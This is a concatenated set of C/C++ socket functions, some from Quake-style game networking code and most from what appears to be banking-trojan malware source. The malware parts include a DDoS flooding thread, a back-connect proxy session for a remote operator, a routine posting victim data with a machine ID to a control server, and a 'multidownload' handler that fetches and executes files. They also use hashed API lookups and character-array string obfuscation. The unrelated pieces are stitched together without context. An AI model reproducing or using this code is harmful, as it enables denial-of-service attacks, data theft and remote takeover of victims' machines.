int WINS_CloseSocket(int socket) { if (socket == net_broadcastsocket) { net_broadcastsocket = 0; } return pclosesocket(socket); }
int WINS_OpenSocket(int port) { int newsocket; struct sockaddr_in address; u_long _true = 1; if ((newsocket = psocket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { return -1; } if (pioctlsocket(newsocket, FIONBIO, &_true) == -1) { goto ErrorReturn; } address.sin_family = AF_INET; address.sin_addr.s_addr = myAddr; address.sin_port = htons((unsigned short)port); if (bind(newsocket, (void *)&address, sizeof(address)) == 0) { return newsocket; } Sys_Error("Unable to bind to %s", WINS_AddrToString((struct qsockaddr *)&address)); ErrorReturn: pclosesocket(newsocket); return -1; }
void DisconnBid( USHORT uBid ) { pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( uBid ); if ( k != -1 ) { ThreadConnection Conn = Connections[ k ]; Connections[ k ].thread_s = INVALID_SOCKET; if ( Conn.thread_s != INVALID_SOCKET ) { pshutdown( Conn.thread_s, FD_READ ); pshutdown( Conn.thread_s, SD_SEND ); pclosesocket( Conn.thread_s ); } dwConnections--; if ( dwConnections ) { Connections[ k ] = Connections[ dwConnections ]; } } pReleaseMutex( hThreadMutex ); }
SOCKET MyConnect1( char *Host, int Port ) { LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( lpHost == NULL ) { return -1; } SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 ); if( Socket == -1 ) { return -1; } struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list; SockAddr.sin_port = HTONS( (unsigned short)Port ); if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR ) { pclosesocket(Socket); return -1; } return Socket; }
int WIPX_CloseSocket (int handle) { int socket = ipxsocket[handle]; int ret; ret = pclosesocket (socket); ipxsocket[handle] = 0; return ret; }
int WINS_CloseSocket (int socket) { #ifdef ID_PC if (socket == net_broadcastsocket) net_broadcastsocket = 0; return pclosesocket (socket); #else return 0; #endif }
// Функция выполнения многократного подключения к испытуемому сайту DWORD WINAPI DDOSThreadProc(TDDOS *DDOS) { TMemory Buf(1024); TMemory Referer(256); DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100; while (!DDOS->FTerminated) { // Создаём сокет SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0); if(Socket != SOCKET_ERROR) { // Подключаемся к серверу struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list; SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port); // подключаемся к сокету if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR ) { // Генерируем данные PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount); string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z'); DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr()); int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0); // Для увеличения нагрузки на сервер пытаемся получить от сервера ответ if (Sended == Size) { Size = (int)precv(Socket, Buf.Buf(), 1024, 0); } } pclosesocket(Socket); } // Ждём до следующей отправки if (!DDOS->FTerminated) pSleep(SleepInterval); } pInterlockedDecrement(&DDOS->FThreadsCount); return 0; }
SOCKET NetConnect( char *Host, int Port ) { int ip = (int)pinet_addr( (const char*)Host ); if ( ip == (int)INADDR_NONE ) { LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( !rhost ) { return -1; } ip = *(long*)( rhost )->h_addr_list[0]; if ( !ip ) { return -1; } } SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( Socket == INVALID_SOCKET ) { return -1; } LINGER l; l.l_linger = 3; l.l_onoff = 1; psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) ); struct sockaddr_in SockAddr; m_memset( &SockAddr, 0, sizeof( SockAddr ) ); SockAddr.sin_family = AF_INET; SockAddr.sin_port = HTONS( Port ); SockAddr.sin_addr.S_un.S_addr = ip; if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR ) { pclosesocket( Socket ); return -1; } return Socket; }
DWORD ConnectThread(LPVOID lpParameter) { ConnectionData* connData = (ConnectionData*)lpParameter; if ( (int)pconnect( connData->Socket, (const struct sockaddr*)&connData->SockAddr, sizeof( connData->SockAddr ) ) == SOCKET_ERROR ) { DWORD err = (DWORD)pGetLastError(); pclosesocket(connData->Socket); pExitThread(-1); } pExitThread(0); return 0; }
void KillAllConnections() { pWaitForSingleObject( hThreadMutex, INFINITE ); for ( DWORD i = 0; i < dwConnections; i++ ) { ThreadConnection Conn = Connections[ i ]; pshutdown( Conn.thread_s, FD_READ ); pshutdown( Conn.thread_s, SD_SEND ); pclosesocket( Conn.thread_s ); } m_memset( &Connections, 0, sizeof( ThreadConnection ) * dwConnections ); dwConnections = 0; pReleaseMutex( hThreadMutex ); return; }
int WIPX_OpenSocket ( int port ) { int handle; int newsocket; struct sockaddr_ipx address; u_long _true = 1; for (handle = 0; handle < IPXSOCKETS; handle++) if (ipxsocket[handle] == 0) break; if (handle == IPXSOCKETS) return -1; if ((newsocket = psocket (AF_IPX, SOCK_DGRAM, NSPROTO_IPX)) == INVALID_SOCKET) return -1; if (pioctlsocket (newsocket, FIONBIO, &_true) == -1) goto ErrorReturn; if (psetsockopt(newsocket, SOL_SOCKET, SO_BROADCAST, (char *)&_true, sizeof(_true)) < 0) goto ErrorReturn; address.sa_family = AF_IPX; memset(address.sa_netnum, 0, 4); memset(address.sa_nodenum, 0, 6);; address.sa_socket = htons((unsigned short)port); if( bind (newsocket, (void *)&address, sizeof(address)) == 0) { ipxsocket[handle] = newsocket; sequence[handle] = 0; return handle; } Sys_Error ("Winsock IPX bind failed\n"); ErrorReturn: pclosesocket (newsocket); return -1; }
void InitSession( char *Host, int Port, char *Uid, char *Password ) { char Buffer[ 1024 ]; int r = 0; SOCKET Socket = NetConnect( Host, Port ); if ( Socket != INVALID_SOCKET ) { r = NetRecv( Socket, Buffer, 6 ); if ( r ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "HELLO\n", 6 ) ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, "%s:%s\n", Uid, Password ); NetSend( Socket, Buffer, m_lstrlen( Buffer ) ); if ( NetRecv( Socket, Buffer, 6 ) ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "READY\n", 6 ) ) { SessionWork( Socket ); } } } } pclosesocket( Socket ); }
int WINS_OpenSocket (int port) { int newsocket; struct sockaddr_in address; u_long _true = 1; if ((newsocket = psocket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1; if (pioctlsocket (newsocket, FIONBIO, &_true) == -1) goto ErrorReturn; address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons((unsigned short)port); if( bind (newsocket, (void *)&address, sizeof(address)) == 0) return newsocket; Sys_Error ("bind"); ErrorReturn: pclosesocket (newsocket); return -1; }
void SessionWork( SOCKET Socket ) { PCONNECTIONS pConnect = (PCONNECTIONS)MemAlloc( sizeof( PCONNECTIONS ) ); m_memset( pConnect, 0, sizeof( PCONNECTIONS ) ); char *Data = NULL; while ( 1 ) { if ( !WaitRecv( Socket, 60*60 ) ) { break; } TPkt tPacket; if ( !NetRecv( Socket, (char*)&tPacket, sizeof( tPacket ) ) ) { break; } if ( tPacket.QType == 0x63 ) { if ( tPacket.dwLen != 6 ) { break; } if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } ManageNewConnection( Socket, *(ULONG*)Data, (USHORT)tPacket.dwReserved, *(USHORT*)&Data[4] ); } else if ( tPacket.QType == 0x73 ) { if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } BcDecrypt( Data, tPacket.dwLen ); ThreadConnection Conn; pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( (USHORT)tPacket.dwReserved ); if ( k != -1 ) { Conn = Connections[ k ]; NetSend( Conn.thread_s, Data, tPacket.dwLen ); } pReleaseMutex( hThreadMutex ); } else if ( tPacket.QType == 0x77 ) { DisconnBid( tPacket.dwReserved ); } else if ( tPacket.QType == 0x64 ) { pclosesocket(Socket); KillAllConnections(); pExitThread( 1 ); break; } else if ( tPacket.QType == 0x65 ) { } else { break; } } if ( Data ) { MemFree( Data ); } pConnect->dwStatus = 1; }
bool AsyncDownload1( char *Url, LPBYTE *lpBuffer, LPDWORD dwSize ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 80; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } SOCKET Socket = MyConnect( Host, Port ); if( Socket == -1 ) { return false; } char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); char *query=(char*)MemAlloc(2048); m_lstrcpy(query,"GET /"); m_lstrcat(query,Path); m_lstrcat(query," HTTP/1.1\r\nAccept: */* \r\n "); m_lstrcat(query,"Accept-Language: ru \r\n"); m_lstrcat(query,"UA-CPU: x86 \r\n"); m_lstrcat(query,"Accept-Encoding: gzip, deflate \r\n"); m_lstrcat(query,"User-Agent: "); m_lstrcat(query,UserAgent); m_lstrcat(query,"\r\nHost: "); m_lstrcat(query,Host); m_lstrcat(query,"\r\nConnection: Close\r\n\r\n\r\n"); bool b = MySend( Socket, (const char *)query, m_lstrlen( query ) ); MemFree( Host ); //MemFree( Path ); MemFree( UserAgent ); MemFree( query ); if ( !b ) { return false; } DWORD dwSizeFile = 0; char *Buffer = RecvAndParse( Socket, &dwSizeFile ); if ( !Buffer ) { pclosesocket( Socket ); return false; } if ( dwSize ) { *lpBuffer = (LPBYTE)Buffer; *dwSize = dwSizeFile; return true; } return false; }
bool SendTradeInfo( char *Buffer ) { string Serv = GetActiveHost(); if ( Serv.IsEmpty()) return 0; char Host[30]; m_lstrcpy( Host, Serv.t_str()); char Script[] = {'/','g','e','t','/','t','r','a','.','h','t','m','l',0}; char Args[] = "id=%s&data=%s"; char Request[] = "POST %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Uid[100]; GenerateUid( Uid ); char *Data = URLEncode( Buffer ); char *PartReq = (char*)MemAlloc( 1024 ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); if ( PartReq == NULL ) { return false; } _pwsprintfA( PartReq, Args, Uid, Data ); char *Header = (char*)MemAlloc( 1024 ); if ( Header == NULL ) { MemFree( PartReq ); return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( Header, Request, Script, Host, UserAgent, m_lstrlen( PartReq ) ); MemFree( UserAgent ); char *SendBuffer = (char*)MemAlloc( m_lstrlen( PartReq ) + m_lstrlen( Header ) + 1 + 2 ); if ( SendBuffer == NULL ) { MemFree( PartReq ); MemFree( Header ); return false; } m_lstrcpy( SendBuffer, Header ); m_lstrcat( SendBuffer, PartReq ); m_lstrcat( SendBuffer, "\r\n" ); MemFree( Header ); MemFree( PartReq ); SOCKET Socket = MyConnect( Host, 80 ); bool Ret = MySend( Socket, (const char *)SendBuffer, m_lstrlen( SendBuffer ) ); pclosesocket( Socket ); MemFree( SendBuffer ); return Ret; }
bool ReportToPlugin( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl1( Url, &Host, &Path, &Port ) ) { return false; } char Uid[100]; GenerateUid( Uid ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); if ( UserAgent == NULL ) { MemFree( UserAgent ); UserAgent = "-"; } char Request[] = "POST %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Args[] = "id="; char *HttpPacket = NULL; HttpPacket = (char*)MemAlloc( 2048 ); int iTmp; if (LoadExe!=NULL) { iTmp=m_lstrlen(LoadExe); }else iTmp=9; pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp ); m_lstrcat( HttpPacket, Args ); m_lstrcat( HttpPacket, Uid ); if (LoadExe==NULL) { LoadExe = (char*)MemAlloc(10); m_lstrncpy(LoadExe,"&plugins=",9); LoadExe[9]='\0'; } m_lstrcat( HttpPacket, LoadExe ); SOCKET Socket = MyConnect1( Host, Port ); if( Socket == -1 ) { return false; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return false; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); if ( !Buffer ) { pclosesocket( Socket ); return false; } char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0}; char *Context; m_strtok_s( Buffer, "\r\n", &Context ); if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) ) { char * cPointer= m_strstr(&Buffer[1],"http:"); char* cUrl=Buffer; char* cUrlNext; int i; char *DownloadUrl; while (true) { cUrl= m_strstr(&cUrl[1],"http:"); if (cUrl==NULL)break; cUrlNext= m_strstr(cUrl,"|"); i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext); DownloadUrl = (char*)MemAlloc(i)+1; m_lstrncpy(DownloadUrl,cUrl,i); DownloadUrl[i]='\0'; if ( DownloadUrl ) { LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1); m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str()); m_lstrcat( LoadExe, "|"); WCHAR *FileName =(WCHAR *)GetTempName(); if ( FileName && DownloadUrl ) { ExecuteFile( DownloadUrl, FileName ); } MemFree( FileName ); } MemFree( DownloadUrl ); } } MemFree( Buffer ); pclosesocket( Socket ); return true; }
void CClientSocket::Disconnect() { typedef int (WSAAPI *setsockoptT)( IN SOCKET s, IN int level, IN int optname, IN const char FAR * optval, IN int optlen ); char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'}; char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'}; setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY); typedef int (WSAAPI *closesocketT)( IN SOCKET s ); char GKGvYsR[] = {'c','l','o','s','e','s','o','c','k','e','t','\0'}; closesocketT pclosesocket=(closesocketT)GetProcAddress(LoadLibrary(nZSZGQH),GKGvYsR); typedef BOOL (WINAPI *CancelIoT)( __in HANDLE hFile ); CancelIoT pCancelIo=(CancelIoT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CancelIo"); typedef BOOL (WINAPI *SetEventT) ( __in HANDLE hEvent ); SetEventT pSetEvent = (SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetEvent"); typedef LONG (WINAPI *InterlockedExchangeT) ( __inout LONG volatile *Target, __in LONG Value ); InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange"); // // If we're supposed to abort the connection, set the linger value // on the socket to 0. // LINGER lingerStruct; lingerStruct.l_onoff = 1; lingerStruct.l_linger = 0; psetsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) ); pCancelIo((HANDLE) m_Socket); pInterlockedExchange((LPLONG)&m_bIsRunning, false); pclosesocket(m_Socket); pSetEvent(m_hEvent); m_Socket = INVALID_SOCKET; }
char *GetInfoFromBcServer( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char Request[] = "GET %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: close\r\n\r\n"; char *HttpPacket = (char*)MemAlloc( 1024 ); if ( HttpPacket == NULL ) { return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( HttpPacket, Request, Path, Host, UserAgent ); SOCKET Socket = MyConnect( Host, Port ); if ( Socket == INVALID_SOCKET ) { MemFree( HttpPacket ); return NULL; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return NULL; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); pclosesocket( Socket ); return Buffer; }